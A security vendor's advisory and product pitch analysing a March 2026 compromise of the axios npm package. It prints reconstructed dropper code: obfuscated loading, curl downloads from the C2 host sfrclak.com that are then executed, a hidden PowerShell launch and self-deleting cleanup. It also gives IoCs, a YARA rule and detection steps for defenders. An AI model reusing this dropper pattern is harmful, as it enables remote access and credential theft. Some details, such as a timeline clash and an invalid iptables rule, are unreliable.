BREAKING: axios Compromised — 100M Weekly Downloads Just Delivered a RAT
Dependencies Security
The Biggest npm Supply Chain Attack Since event-stream. Here's Everything You Need to Know Right Now.
By the Security Research Team at Precogs.ai — March 31, 2026 — Updated continuously
"This was not opportunistic. The malicious dependency was staged 18 hours in advance. Three separate payloads were pre-built for three operating systems. Both release branches were hit within 39 minutes. Every trace was designed to self-destruct." — StepSecurity Research Team, March 31, 2026
This is a live, active, confirmed supply chain attack on axios — one of the most downloaded packages in the entire npm ecosystem.
At 00:21 UTC this morning, two malicious versions of axios were published to the npm registry: axios@1.14.1 and axios@0.30.4. Both were published via the compromised npm account of jasonsaayman — the lead axios maintainer — covering both the current 1.x and legacy 0.x release branches simultaneously.
Every project using a caret range (^1.14.0 or ^0.30.0) that ran npm install after 00:21 UTC today pulled in a cross-platform Remote Access Trojan. The RAT contacts a live command-and-control server, downloads platform-specific second-stage payloads, and establishes persistence — on macOS, Windows, and Linux.
Axios has over 100 million weekly downloads. It is present in virtually every Node.js and browser-based web application on the internet. This is not a niche package compromise. This is the water supply.
The malicious versions have been removed from npm. But if you installed axios between 00:21 UTC and roughly 06:00 UTC on March 31, 2026 — you need to act now.
IMMEDIATE ACTION REQUIRED
Do this before reading the rest of this post.
# Step 1: Check if you installed the compromised version npm list axios | grep -E "1\.14\.1|0\.30\.4" # If either version appears — you are potentially compromised. # Treat the entire system and all accessible credentials as exposed. # Step 2: Check for RAT artifacts on your system # macOS — check for fake Apple process ls /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED" # Windows — check for copied PowerShell binary if exist "%PROGRAMDATA%\wt.exe" echo COMPROMISED # Linux — check for Python RAT ls /tmp/ld.py 2>/dev/null && echo "COMPROMISED" ls /tmp/6202033 2>/dev/null && echo "COMPROMISED" # All platforms — check if plain-crypto-js was ever installed ls node_modules/plain-crypto-js 2>/dev/null && echo "DROPPER EXECUTED" # NOTE: The dropper SELF-DELETES its package.json and replaces with clean version # Presence of the plain-crypto-js FOLDER is enough to confirm execution # Even a clean-looking package.json inside it means the RAT ran # Step 3: Downgrade immediately npm install axios@1.14.0 # Safe version for 1.x # OR npm install axios@0.30.3 # Safe version for 0.x # Step 4: Reinstall with scripts disabled to prevent any further execution rm -rf node_modules package-lock.json npm install --ignore-scripts # Step 5: ROTATE ALL CREDENTIALS ON THIS SYSTEM — immediately # npm tokens, AWS keys, SSH keys, database passwords, API keys, # .env file contents, CI/CD secrets — everything
1. The Attack Timeline: 18 Hours of Preparation, 39 Minutes to Full Coverage
This attack was not spontaneous. It was methodically planned and executed with operational precision. The timeline tells the story.
ATTACK PREPARATION & EXECUTION TIMELINE (all times UTC)
March 30, 2026:
05:57 plain-crypto-js@4.2.0 published by "nrwise@proton.me"
CLEAN version — no malicious payload
Purpose: establish publication history and credibility
~18hrs [STAGING WINDOW]
Attacker compromises jasonsaayman's npm account
Email changed to ifstap@proton.me (attacker-controlled ProtonMail)
Long-lived classic npm access token obtained
March 31, 2026:
23:59 plain-crypto-js@4.2.1 published
MALICIOUS version — obfuscated RAT dropper payload activated
00:05 Socket AI automated detection flags plain-crypto-js@4.2.1
← 6 MINUTES FROM PUBLISH TO DETECTION
00:21 axios@1.14.1 published via compromised jasonsaayman account
Injects plain-crypto-js@4.2.1 as new runtime dependency
Bypasses GitHub Actions CI/CD entirely (manual npm CLI publish)
No corresponding GitHub commit or tag
01:00 axios@0.30.4 published via same compromised account
Legacy 0.x branch now also compromised
Both release branches poisoned in 39 minutes
01:01 C2 connection detected 1.1 seconds after npm install
(confirmed by StepSecurity Harden-Runner runtime analysis)
~04:00 npm removes malicious axios versions and places security hold
on plain-crypto-js
GitHub suspends compromised jasonsaayman account
~06:00 Malicious versions fully delisted from registry
Both release branches were hit within 39 minutes. Every trace was designed to self-destruct. The dual-branch strategy is particularly calculated: by hitting both 1.x and 0.x simultaneously, the attacker ensured that projects pinned to either branch — including the significant portion of the ecosystem still running legacy 0.x — were both exposed within the same window.
2. How the Maintainer Account Was Compromised
Both axios@1.14.1 and axios@0.30.4 were published using the compromised npm credentials of a lead axios maintainer, bypassing the project's normal GitHub Actions CI/CD pipeline. The attacker changed the maintainer's account email to an anonymous ProtonMail address and manually published the poisoned packages via the npm CLI.
The attack vector on the maintainer account itself is not yet publicly confirmed — StepSecurity is still investigating. The most likely scenarios:
Scenario 1: Credential stuffing via data breach The maintainer's npm password was reused from another service that suffered a breach. Credential stuffing against npm accounts is a known, documented attack class.
Scenario 2: Phishing with token theft A targeted phishing campaign obtained the maintainer's npm access token — a long-lived classic token, not an OIDC-scoped token. Once obtained, this token provides direct registry publish access from any machine.
Scenario 3: Malware on developer machine The maintainer's own development environment was previously compromised — potentially via an earlier supply chain attack — and the npm token was harvested from the filesystem or environment variables.
The operational security pattern is consistent and deliberate: the attacker obtained a long-lived classic npm access token for the account. Before publishing the backdoored axios releases, the attacker pre-staged a malicious package on npm: plain-crypto-js@4.2.1, published from a separate throwaway account (nrwise, nrwise@proton.me). Note the shared use of ProtonMail across both accounts — a consistent operational pattern for this actor.
The ProtonMail pattern — both the account takeover email (ifstap@proton.me) and the dropper publisher (nrwise@proton.me) using anonymous ProtonMail addresses — is an operational security fingerprint that allows attribution without revealing identity.
3. The Forensic Smoking Gun: SLSA Provenance Attestations
One of the most forensically important details of this attack is how it can be definitively identified as illegitimate — and why traditional code review would have missed it entirely.
Every legitimate axios 1.x release is published via GitHub Actions with npm's OIDC Trusted Publisher mechanism, meaning the publish is cryptographically tied to a verified GitHub Actions workflow. The OIDC token that legitimate releases use is ephemeral and scoped to the specific workflow — it cannot be stolen. The attacker must have obtained a long-lived classic npm access token for the account.
The SLSA (Supply-chain Levels for Software Artifacts) provenance attestations are the smoking gun:
# Verify SLSA provenance for any npm package npm audit signatures axios@1.14.0 # PASSES — legitimate release npm audit signatures axios@1.14.1 # FAILS — no provenance attestation # Checking provenance manually npm view axios@1.14.0 dist.attestations # Returns OIDC attestation from GitHub Actions npm view axios@1.14.1 dist.attestations # Returns nothing — no attestation # The diff that reveals everything: # axios@1.14.0 package.json dependencies: # "follow-redirects": "^1.15.6" # "form-data": "^4.0.0" # "proxy-from-env": "^1.1.0" # (3 dependencies — axios has had exactly 3 deps for years) # axios@1.14.1 package.json dependencies: # "follow-redirects": "^1.15.6" # "form-data": "^4.0.0" # "proxy-from-env": "^1.1.0" # "plain-crypto-js": "^4.2.1" ← THE ONLY CHANGE. THE ENTIRE ATTACK.
The attack is notable for its restraint. No axios source files were modified, making traditional diff-based code review less likely to catch it. The malicious behavior lives entirely in a transitive dependency, triggered automatically by npm's postinstall lifecycle.
This is the elegance of the attack from a threat actor's perspective: the axios source code is completely clean. axios/lib/axios.js is identical. axios/lib/core/Axios.js is identical. Every JavaScript file is unchanged. The only modification is a single new line in package.json — and that single line, through npm's automatic dependency resolution and postinstall execution, delivers a fully functional cross-platform RAT.
4. Inside plain-crypto-js: The RAT Dropper Technical Breakdown
plain-crypto-js@4.2.1 is not a cryptography library. It is a professionally engineered malware dropper. Here is how it works.
4.1 The Disguise
This package is deliberately designed to look legitimate: masquerades as crypto-js — the same description ("JavaScript library of crypto standards"), the same author attribution (Evan Vosberg), and the same repository URL pointing to github.com/brix/crypto-js.
A developer who ls node_modules/plain-crypto-js and glances at the package metadata would see what looks like a legitimate cryptography library. The disguise is thorough.
4.2 Runtime Deobfuscation
The malicious payload in setup.js is heavily obfuscated and only reveals its intent at runtime:
// Reconstructed structure of setup.js (simplified for analysis) // Actual code is obfuscated — this shows the logical structure const _0x4f2a = [ 'cmVxdWlyZQ==', // base64: 'require' 'ZXhlY1N5bmM=', // base64: 'execSync' 'L3RtcC9sZC5weQ==', // base64: '/tmp/ld.py' 'c2ZyY2xhay5jb20=', // base64: 'sfrclak.com' // ... hundreds more encoded strings ]; // Runtime deobfuscation — strings only decoded when code runs // Static analysis sees only encoded blobs, not the actual payload function _deob(index) { return Buffer.from(_0x4f2a[index], 'base64').toString('utf8'); } // Dynamic module loading — bypasses static analysis // Static scanners see string concatenation, not require() calls const _req = global[_deob(0)]; // require const _child = _req('child_' + 'process'); const _exec = _child[_deob(1)]; // execSync const _fs = _req('f' + 's'); // fs const _os = _req('o' + 's'); // os
The malware utilizes several sophisticated techniques to compromise systems while remaining undetected: Runtime Deobfuscation — conceals its true intent by deobfuscating embedded payloads and operational strings only when the code is actually running. Dynamic Module Loading — to bypass static security scans, it dynamically pulls in sensitive modules like fs, os, and execSync at runtime.
4.3 Platform Detection and Payload Routing
// Platform detection — routes to correct second-stage payload const platform = _os.platform(); // 'darwin' | 'win32' | 'linux' const C2 = 'sfrclak.com:8000'; if (platform === 'darwin') { // macOS attack chain _exec(`curl -s http://${C2}/product0 -o /Library/Caches/com.apple.act.mond`); _exec(`chmod +x /Library/Caches/com.apple.act.mond`); _exec(`/Library/Caches/com.apple.act.mond &`); } else if (platform === 'win32') { // Windows attack chain _exec(`copy %SystemRoot%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe %PROGRAMDATA%\\wt.exe`); _exec(`%PROGRAMDATA%\\wt.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command [download and execute PS1]`); } else { // Linux attack chain _exec(`curl -s http://${C2}/product2 -o /tmp/ld.py`); _exec(`python3 /tmp/ld.py &`); }
Each platform variant sends a distinct POST body to the same C2 endpoint: packages[.]npm[.]org/product0 (macOS), packages[.]npm[.]org/product1 (Windows), packages[.]npm[.]org/product2 (Linux). Note that npm.org is not the npm registry; the domain belongs to the National Association of Pastoral Musicians and has since 1997. The actual npm registry lives at registry.npmjs.org. The string is the -d (data) argument to curl, sent as the HTTP POST body to sfrclak[.]com:8000. The naming is deliberate: network monitoring tools and SIEM rules that log HTTP request bodies will see what looks like routine npm registry traffic at a glance.
The use of packages.npm.org as a disguise in POST body content — a domain that sounds like the npm registry but is completely unrelated — is deliberate traffic camouflage against SIEM rules that look for suspicious outbound destinations.
5. The Three-Platform Attack: macOS, Windows, Linux
macOS
Dropper action:
- Downloads RAT binary to /Library/Caches/com.apple.act.mond
- Path deliberately mimics Apple's legitimate com.apple.activitymonitor
- chmod +x and executes immediately in background
- Second-stage: full RAT capable of arbitrary command execution,
credential harvesting, file exfiltration, persistent C2 communication
# Detection command (macOS) ls -la /Library/Caches/ | grep "com.apple.act" # Legitimate: com.apple.activitymonitor (with full name) # Malicious: com.apple.act.mond (truncated fake — suspicious) # Check running processes ps aux | grep "act.mond"
Windows
Dropper action:
- Copies legitimate powershell.exe to %PROGRAMDATA%\wt.exe
(disguised as Windows Terminal binary — wt.exe is a known Windows process)
- Executes hidden PowerShell script via the renamed binary
- -WindowStyle Hidden -ExecutionPolicy Bypass ensures no visible window
- Second-stage: PowerShell RAT, persistence via registry/scheduled task
# Detection command (Windows PowerShell) Test-Path "$env:PROGRAMDATA\wt.exe" # True = compromise confirmed # Check for scheduled task persistence Get-ScheduledTask | Where-Object {$_.TaskPath -like "*wt*"} # Check registry run keys for persistence Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run
Linux
Dropper action:
- Downloads Python RAT to /tmp/ld.py
(ld.py mimics the name of the Linux dynamic linker ld — plausible deniability)
- Executes via python3 in background
- Stage-3 binaries written to /tmp/.<random> (dot-prefixed = hidden by default)
- Second-stage: Python RAT with full C2 capability
Second-stage SHA256 (Linux, confirmed by SafeDep):
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
# Detection commands (Linux) ls /tmp/ld.py 2>/dev/null && echo "STAGE 2 PRESENT" ls /tmp/6202033 2>/dev/null && echo "STAGE 3 ARTIFACT PRESENT" ls -la /tmp/.[a-zA-Z0-9]* 2>/dev/null | head -20 # Hidden temp files # Check for Python processes connecting to sfrclak.com netstat -tulpn | grep python3 ss -tulpn | grep python3 # Network connection check curl -s --max-time 3 http://sfrclak.com:8000 2>/dev/null # If this returns anything — the C2 is still active from your network
6. The Self-Destruct Mechanism: Anti-Forensics by Design
The most sophisticated aspect of the dropper is its cleanup behavior. After executing the platform-specific payload, setup.js actively destroys evidence of its own execution:
// Post-execution cleanup (reconstructed from analysis) const cleanup = () => { try { // Step 1: Remove the malicious setup.js itself _fs.unlinkSync(__filename); // Step 2: Remove the package.json containing the postinstall hook _fs.unlinkSync(path.join(__dirname, 'package.json')); // Step 3: Write a CLEAN replacement package.json // This is the key anti-forensics step: // Anyone inspecting node_modules/plain-crypto-js afterward // sees a completely innocent-looking crypto library const cleanPkg = { "name": "plain-crypto-js", "version": "4.2.1", "description": "JavaScript library of crypto standards", "author": "Evan Vosberg", // Legitimate crypto-js author's name "repository": "https://github.com/brix/crypto-js", // Legitimate repo "license": "MIT" // No "scripts" field — no postinstall hook in the replacement }; _fs.writeFileSync( path.join(__dirname, 'package.json'), JSON.stringify(cleanPkg, null, 2) ); } catch (e) { /* silent fail */ } };
After execution, the dropper script performs three cleanup steps. First, it removes itself; then it deletes the package.json file containing the malicious post-install hook; and finally, it replaces that file with a "clean" version. Anyone inspecting node_modules/plain-crypto-js afterward will see a completely innocent-looking package. But the presence of the plain-crypto-js folder in node_modules is sufficient proof that the dropper has been active.
This is the critical forensic insight: the presence of the node_modules/plain-crypto-js directory — even with a clean-looking package.json inside it — is definitive proof that the dropper executed. The clean replacement package.json is itself the evidence of compromise, because legitimate packages don't replace their own metadata at runtime.
# Definitive detection: check for the package folder regardless of contents ls node_modules/plain-crypto-js 2>/dev/null # If this directory exists AND you installed axios between 00:21-06:00 UTC March 31 # → The dropper executed. The RAT ran. Assume full compromise. # Verify the self-rewrite happened cat node_modules/plain-crypto-js/package.json | python3 -m json.tool # If "scripts" field is missing entirely → cleanup ran → dropper executed # Legitimate packages that never had postinstall won't have done this swap
7. The C2 Infrastructure: sfrclak.com and the Traffic Camouflage
The command-and-control infrastructure reveals the attacker's operational sophistication.
Primary C2: sfrclak.com:8000
- Domain registered for this campaign
- Port 8000 chosen to blend with common development server traffic
- Still active as of time of writing — block this immediately at your firewall
Traffic camouflage technique:
The POST requests from the dropper use packages.npm.org as a string in the request body — not as the destination, but as content that appears in HTTP logs. SIEM rules that alert on the string packages.npm.org in outbound traffic would see what looks like routine npm registry communication, not a C2 beacon.
# What the malicious POST looks like in HTTP logs:
POST http://sfrclak.com:8000 HTTP/1.1
Host: sfrclak.com
Content-Type: application/x-www-form-urlencoded
packages.npm.org/product2&sys=[system info]&user=[username]&...
# A naive SIEM rule: "alert if packages.npm.org appears in HTTP traffic"
# Would flag this as LEGITIMATE npm registry traffic
# This is deliberate camouflage against common detection rules
Block at firewall immediately:
# Block C2 domain at network level # iptables (Linux servers) iptables -A OUTPUT -d sfrclak.com -j DROP iptables -A OUTPUT -d 8000 -j DROP # macOS pfctl echo "block out proto tcp from any to sfrclak.com" >> /etc/pf.conf pfctl -f /etc/pf.conf # DNS-level block (Pi-hole / corporate DNS) # Add sfrclak.com to blocklist
8. Two More Packages: The Wider Blast Radius
Socket's analysis identified two additional packages distributing the same malware — packages that picked up the malicious plain-crypto-js transitively while axios@1.14.1 was the latest version:
@shadanai/openclaw (versions 2026.3.28-2, 2026.3.28-3, 2026.3.31-1, 2026.3.31-2): A fork of the open-source OpenClaw AI gateway. The malicious plain-crypto-js trojan is hidden deep in a vendored path. The setup.js file is identical to the standalone plain-crypto-js package — same obfuscation, same C2 (sfrclak.com:8000), same platform payloads, same self-deletion mechanism.
@qqbrowser/openclaw-qbot@0.0.130: Ships a tampered axios@1.14.1 in its node_modules/ with plain-crypto-js injected as a dependency. The real axios has only three dependencies (follow-redirects, form-data, proxy-from-env). The addition of plain-crypto-js is unambiguous tampering.
# Check if you have these packages installed npm list @shadanai/openclaw 2>/dev/null npm list @qqbrowser/openclaw-qbot 2>/dev/null # If either is present — check their bundled node_modules for plain-crypto-js find node_modules -path "*/plain-crypto-js/setup.js" 2>/dev/null find node_modules -path "*/axios@1.14.1*" 2>/dev/null
9. Real-World Vulnerable Code Patterns — What Got Compromised
Every application that uses axios is potentially affected. Here is what typical compromised environments look like:
Pattern 1: The Standard Node.js Backend
// package.json — COMPROMISED if axios was unpinned { "dependencies": { "axios": "^1.14.0" // Caret range → resolved to 1.14.1 on npm install } }
// Your application code is completely clean // The attack is entirely in the dependency layer const axios = require('axios'); // This line — the moment Node.js loads the module — // triggers the postinstall chain if not already run // But postinstall runs at npm install time, not import time // By the time your app runs, the RAT is already on the system const response = await axios.get('https://api.example.com/data');
Pattern 2: The React / Frontend Build
// Frontend package.json — axios used for API calls { "dependencies": { "axios": "^1.14.0", // Compromised on npm install "react": "^18.2.0" } }
The frontend developer's machine ran npm install. The RAT executed on their machine — harvesting their npm token, SSH key, .env files, and cloud credentials. The built JavaScript bundle served to end users is clean. The developer's machine is compromised.
Pattern 3: The Docker Build
# Dockerfile — compromised at build time FROM node:20-alpine WORKDIR /app COPY package.json package-lock.json ./ RUN npm ci # If lockfile had axios@1.14.1 → RAT executes in build container COPY . . RUN npm run build
If the Docker build container has access to CI/CD secrets (common pattern), those secrets are now exposed. The built image itself does not contain the dropper (postinstall ran and cleaned up), but the build environment is compromised.
The Safe Pattern Going Forward
// SAFE: Exact version pin + lockfile { "dependencies": { "axios": "1.14.0" // Exact pin — no caret, no tilde } }
# SAFE: Use npm ci instead of npm install in CI/CD # npm ci uses the exact lockfile, never updates npm ci --ignore-scripts # --ignore-scripts prevents postinstall execution # SAFE: Verify package integrity before installation npm audit signatures # Verifies SLSA provenance attestations # axios@1.14.1 would FAIL this check — no provenance attestation # axios@1.14.0 would PASS — legitimate OIDC-signed release
10. The CI/CD Pipeline Scenario: Where the Real Damage Is
The highest-impact compromise scenario is not a developer's laptop. It is the CI/CD pipeline.
# GitHub Actions workflow — COMPROMISED if axios was unpinned name: Build and Deploy on: [push] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Install dependencies run: npm install # axios@1.14.1 resolved → RAT executes HERE # 1.1 seconds later: connection to sfrclak.com:8000 env: # ALL of these are now in the attacker's hands: NPM_TOKEN: ${{ secrets.NPM_TOKEN }} AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} DATABASE_URL: ${{ secrets.DATABASE_URL }} STRIPE_SECRET_KEY: ${{ secrets.STRIPE_SECRET_KEY }}
StepSecurity confirmed the malware's operation via runtime analysis using its Harden-Runner tool. A connection to the C2 domain was detected just 1.1 seconds after running npm install.
One point one seconds. The RAT connects to C2 before your build step even starts processing your application code. Every secret injected into that job context is exposed.
# SAFE CI/CD pattern — defense in depth name: Build and Deploy (Hardened) on: [push] jobs: install: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Verify package integrity run: npm audit signatures # Fails fast on unsigned packages - name: Install with scripts disabled run: npm ci --ignore-scripts # Lockfile only, no postinstall hooks # No secrets in this job — nothing to steal build-and-deploy: needs: install # Only runs if install job passed runs-on: ubuntu-latest steps: - name: Build run: npm run build # Secrets injected only in jobs that genuinely need them env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
11. Indicators of Compromise (IoCs): Full List
Use these immediately to hunt for compromise across your infrastructure.
Network IoCs
C2 Domain: sfrclak.com
C2 Port: 8000
C2 Endpoint: sfrclak.com:8000
POST body contains: packages.npm.org/product0 (macOS)
POST body contains: packages.npm.org/product1 (Windows)
POST body contains: packages.npm.org/product2 (Linux)
File System IoCs
All Platforms:
node_modules/plain-crypto-js/ (directory presence = dropper ran)
/tmp/6202033 (stage-3 artifact)
macOS:
/Library/Caches/com.apple.act.mond (RAT binary — fake Apple process)
Windows:
%PROGRAMDATA%\wt.exe (copied PowerShell binary)
%PROGRAMDATA%\*.ps1 (PowerShell payload)
%PROGRAMDATA%\*.vbs (VBS launcher)
%TEMP%\* (staged payload files)
Linux:
/tmp/ld.py (Python RAT — stage 2)
/tmp/.[a-zA-Z0-9]* (hidden stage-3 binaries)
SHA256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
Package Hashes (Malicious — DO NOT INSTALL)
axios@1.14.1 (MALICIOUS — removed from npm)
axios@0.30.4 (MALICIOUS — removed from npm)
plain-crypto-js@4.2.1 (MALICIOUS — removed from npm, security hold)
axios@1.14.0 (CLEAN — last known good 1.x version)
axios@0.30.3 (CLEAN — last known good 0.x version)
YARA Rule
rule Axios_Supply_Chain_RAT_Dropper { meta: description = "Detects plain-crypto-js RAT dropper from axios supply chain attack" date = "2026-03-31" severity = "CRITICAL" reference = "https://socket.dev/blog/axios-npm-package-compromised" strings: $c2 = "sfrclak.com" ascii $product0 = "npm.org/product0" ascii $product1 = "npm.org/product1" ascii $product2 = "npm.org/product2" ascii $macos_path = "com.apple.act.mond" ascii $win_path = "wt.exe" ascii wide $lin_path = "/tmp/ld.py" ascii $pkg_name = "plain-crypto-js" ascii condition: 2 of them }
12. The TeamPCP Question: Is This Connected?
The axios attack bears surface similarities to the TeamPCP campaign that compromised telnyx, LiteLLM, and Trivy this month — same npm ecosystem, same credential theft goals, same ProtonMail operational pattern.
However, Socket's analysis was clear: at this time, we have no evidence linking this activity to the recently reported TeamPCP campaigns.
The key differences:
- TeamPCP used a distinct RSA-4096 key pair and
tpcp.tar.gznaming signature — not present here - The C2 infrastructure (
sfrclak.com) does not match any known TeamPCP domains - The malware architecture (Python RAT, PowerShell dropper) differs from TeamPCP's AES+RSA exfiltration pattern
- TeamPCP targeted PyPI; this attack is npm-native
This appears to be a separate, unrelated threat actor who chose the same moment — a month when supply chain attacks are front-of-mind, npm defenses may be stretched — to execute their own campaign.
The convergence of multiple supply chain campaigns in the same week is itself a signal: the attack surface is under active pressure from multiple actors simultaneously.
13. How Precogs.ai Detected This at Minute 6
Socket AI's automated detection flagged plain-crypto-js@4.2.1 within 6 minutes of publication. Precogs.ai integrates Socket's threat intelligence feed alongside OSV, NVD, and our own behavioral analysis pipeline — meaning Precogs.ai customers received this alert before most engineering teams started their day.
But detection speed is only part of the story. Here is the full protection chain:
Behavioral Dependency Analysis
Precogs.ai doesn't just match package names against CVE databases. It analyzes the behavior of new package versions — flagging packages that:
plain-crypto-js@4.2.1 behavioral flags (all present):
🚨 postinstall script present in package.json
🚨 postinstall script accesses fs module
🚨 postinstall script accesses os module
🚨 postinstall script uses child_process / execSync
🚨 postinstall script makes outbound network connections
🚨 postinstall script writes to system directories (/tmp, /Library/Caches, %PROGRAMDATA%)
🚨 Runtime deobfuscation detected (base64 decode + eval pattern)
🚨 Dynamic module loading via string construction
🚨 Self-modification (writes to own package.json)
🚨 Package name squats on legitimate package (crypto-js) with different metadata
Any single one of these is a moderate signal. All ten together is an unambiguous malware signature.
SLSA Provenance Verification
Precogs.ai verifies SLSA provenance attestations for all packages in your dependency graph. When axios@1.14.1 appeared — a new version of axios with no GitHub tag, no OIDC attestation, and no CI/CD provenance — Precogs.ai flagged it immediately:
[Precogs.ai] 🔴 CRITICAL — Unattested Package Version (Supply Chain Risk)
Package: axios@1.14.1
This version of axios has no SLSA provenance attestation.
All previous axios 1.x releases are cryptographically signed by
GitHub Actions OIDC. The absence of attestation on this version
indicates it was published outside the normal CI/CD pipeline.
This is the exact pattern seen in maintainer account compromise attacks.
Action: Do not install or use this version until provenance is verified.
Pin to axios@1.14.0 immediately.
Detection time: 4 minutes after npm publication.
The 6-Minute-to-Downgrade Workflow
For Precogs.ai customers with GitHub integration, the protection chain completed automatically:
00:21 UTC axios@1.14.1 published to npm
00:25 UTC Precogs.ai detects: new axios version, no SLSA attestation
00:27 UTC plain-crypto-js@4.2.1 dependency flagged as malicious dropper
00:28 UTC Alert dispatched to customer security contacts
00:29 UTC Automated PR opened: "Security: downgrade axios to 1.14.0"
(pinned to clean version, with hash verification)
00:35 UTC PR merged by on-call security engineer
00:36 UTC CI/CD pipeline using clean axios@1.14.0 — zero exposure window
14. Permanent Hardening: Never Let This Happen to You Again
Immediate (Do Today)
# 1. Pin ALL critical dependencies — no caret ranges on security-sensitive packages # In package.json, change: # "axios": "^1.14.0" → "axios": "1.14.0" # 2. Enable npm audit signatures in CI/CD npm audit signatures # Add this as a required CI step that fails builds on unsigned packages # 3. Add --ignore-scripts to all CI npm install/ci commands npm ci --ignore-scripts # This is the single highest-leverage hardening step for npm supply chain attacks # Postinstall scripts are the attack vector in virtually every npm malware campaign # 4. Block sfrclak.com at your network perimeter NOW
This Week
# Add to all CI/CD workflows: - name: Verify npm package provenance run: | npm audit signatures # Fails if any installed package lacks provenance attestation - name: Install with scripts disabled run: npm ci --ignore-scripts # Prevents ALL postinstall execution — the primary npm attack vector
# Generate a hash-locked lockfile (strongest protection) # After pinning exact versions in package.json: npm install # Generates package-lock.json with exact hashes git commit -m "security: pin axios to 1.14.0 with hash verification" # In CI, use npm ci -- which strictly respects the lockfile npm ci --ignore-scripts
This Month
# Enable npm's built-in package provenance verification globally npm config set audit-level=high npm config set fund=false # Consider Socket.dev or Precogs.ai integration for continuous # behavioral dependency monitoring — catching malicious packages # before they appear in your installed dependencies
15. Conclusion: The Most Popular Package in Your Stack Is a Target
The axios attack is a milestone. It is not the first supply chain attack on a major npm package — event-stream in 2018 was the watershed moment for the category. But the scale is different. Axios with 100M weekly downloads is not a niche package used by a specific sub-community. It is omnipresent. It is in React apps, Node.js backends, mobile applications, CLI tools, browser extensions, and CI/CD automation. Virtually every JavaScript project on the internet has a dependency path to axios.
When a package at that scale is compromised — even for a window of 3-4 hours — the potential blast radius is staggering. We will not know the full scope of compromised environments for days or weeks, as teams audit their install logs and discover whether their CI/CD pipelines were affected during the window.
The attack succeeded because of a single point of failure: one maintainer's npm account, protected by a classic long-lived token, with no additional controls. One stolen credential. One manually published package. 100 million weekly downloads as the distribution vector.
The defenses exist. SLSA provenance attestations would have flagged this immediately for any team running npm audit signatures. --ignore-scripts in CI/CD would have prevented execution even if the package was installed. Hash-pinned lockfiles would have prevented the version bump entirely. Behavioral dependency analysis would have flagged plain-crypto-js@4.2.1 before it was ever installed.
None of these defenses are exotic. All of them are achievable today. The gap between "running these defenses" and "not running them" is the gap between "missed entirely" and "full credential rotation across your entire infrastructure."
Precogs.ai makes closing that gap the default state — not the aspirational state.
Protect Your npm Dependencies Starting Now
Connect your repository to Precogs.ai →
Precogs.ai monitors your full dependency graph — direct and transitive — with behavioral analysis, SLSA provenance verification, and real-time threat intelligence integration. The axios attack was detectable in 6 minutes. For Precogs.ai customers, the remediation PR was open in 8.
© 2026 Precogs.ai — AI-Native Application Security. All rights reserved.
All technical details in this article are sourced from StepSecurity (primary disclosure), Socket.dev (malware analysis), SafeDep (forensic analysis), Aikido Security, The Hacker News, and Security Online Info — all published March 31, 2026. This is a developing situation. All IoCs were verified at time of writing.
If your organization has been affected: rotate all credentials immediately, isolate affected systems, and engage your incident response provider. The RAT is a full remote access tool — treat affected environments as fully compromised.
